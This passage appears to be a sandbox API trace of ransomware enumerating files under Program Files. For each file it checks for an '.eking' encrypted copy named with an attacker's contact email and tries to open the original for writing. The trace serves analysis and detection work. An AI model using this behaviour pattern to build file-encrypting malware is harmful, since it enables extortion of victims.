dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.395] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=4991) returned 1 [0175.395] CloseHandle (hObject=0x1e4) returned 1 [0175.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 0x20 [0175.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 0x20 [0175.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.399] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=106004) returned 1 [0175.399] CloseHandle (hObject=0x1e4) returned 1 [0175.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm")) returned 0x20 [0175.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm")) returned 0x20 [0175.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.401] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=555) returned 1 [0175.401] CloseHandle (hObject=0x1e4) returned 1 [0175.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf")) returned 0x20 [0175.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf")) returned 0x20 [0175.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.402] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=44302) returned 1 [0175.402] CloseHandle (hObject=0x1e4) returned 1 [0175.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 0x20 [0175.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 0x20 [0175.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0175.839] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=7276) returned 1 [0175.839] CloseHandle (hObject=0x1e8) returned 1 [0175.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf")) returned 0x20 [0175.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf")) returned 0x20 [0175.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.841] SetEvent (hEvent=0x174) returned 1 [0175.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.060] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=417) returned 1 [0176.060] CloseHandle (hObject=0x1f0) returned 1 [0176.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf")) returned 0x20 [0176.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf")) returned 0x20 [0176.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.061] SetEvent (hEvent=0x174) returned 1 [0176.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.254] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=266096) returned 1 [0176.254] CloseHandle (hObject=0x1e8) returned 1 [0176.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll")) returned 0x20 [0176.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll")) returned 0x20 [0176.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.255] SetEvent (hEvent=0x174) returned 1 [0176.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.468] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=70544) returned 1 [0176.468] CloseHandle (hObject=0x1f0) returned 1 [0176.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll")) returned 0x20 [0176.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll")) returned 0x20 [0176.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.469] SetEvent (hEvent=0x174) returned 1 [0176.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.756] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=648211) returned 1 [0176.756] CloseHandle (hObject=0x1f0) returned 1 [0176.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx")) returned 0x20 [0176.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx")) returned 0x20 [0176.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.757] SetEvent (hEvent=0x174) returned 1 [0176.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.758] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=2702) returned 1 [0176.758] CloseHandle (hObject=0x1f0) returned 1 [0176.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0176.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0176.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.759] SetEvent (hEvent=0x174) returned 1 [0176.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsfrontendenu.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.089] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=373760) returned 1 [0177.089] CloseHandle (hObject=0x1f0) returned 1 [0177.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsfrontendenu.dll")) returned 0x20 [0177.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsfrontendenu.dll")) returned 0x20 [0177.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsfrontendenu.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsfrontendenu.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.091] SetEvent (hEvent=0x174) returned 1 [0177.091] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttscommon.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.092] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=41472) returned 1 [0177.092] CloseHandle (hObject=0x1f0) returned 1 [0177.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttscommon.dll")) returned 0x20 [0177.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttscommon.dll")) returned 0x20 [0177.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttscommon.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttscommon.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.092] SetEvent (hEvent=0x174) returned 1 [0177.093] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.093] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=181248) returned 1 [0177.094] CloseHandle (hObject=0x1f0) returned 1 [0177.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsengine.dll")) returned 0x20 [0177.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsengine.dll")) returned 0x20 [0177.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsengine.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.098] SetEvent (hEvent=0x174) returned 1 [0177.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsloc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.102] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=9728) returned 1 [0177.102] CloseHandle (hObject=0x1f0) returned 1 [0177.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsloc.dll")) returned 0x20 [0177.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsloc.dll")) returned 0x20 [0177.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsloc.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsloc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.103] SetEvent (hEvent=0x174) returned 1 [0177.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\spgagentservice.exe" (normalized: "c:\\program files\\common files\\spgagentservice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.105] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=80384) returned 1 [0177.105] CloseHandle (hObject=0x1f0) returned 1 [0177.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\spgagentservice.exe" (normalized: "c:\\program files\\common files\\spgagentservice.exe")) returned 0x20 [0177.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\spgagentservice.exe" (normalized: "c:\\program files\\common files\\spgagentservice.exe")) returned 0x20 [0177.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\spgagentservice.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\spgagentservice.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\spgagentservice.exe" (normalized: "c:\\program files\\common files\\spgagentservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.105] SetEvent (hEvent=0x174) returned 1 [0177.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.108] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: 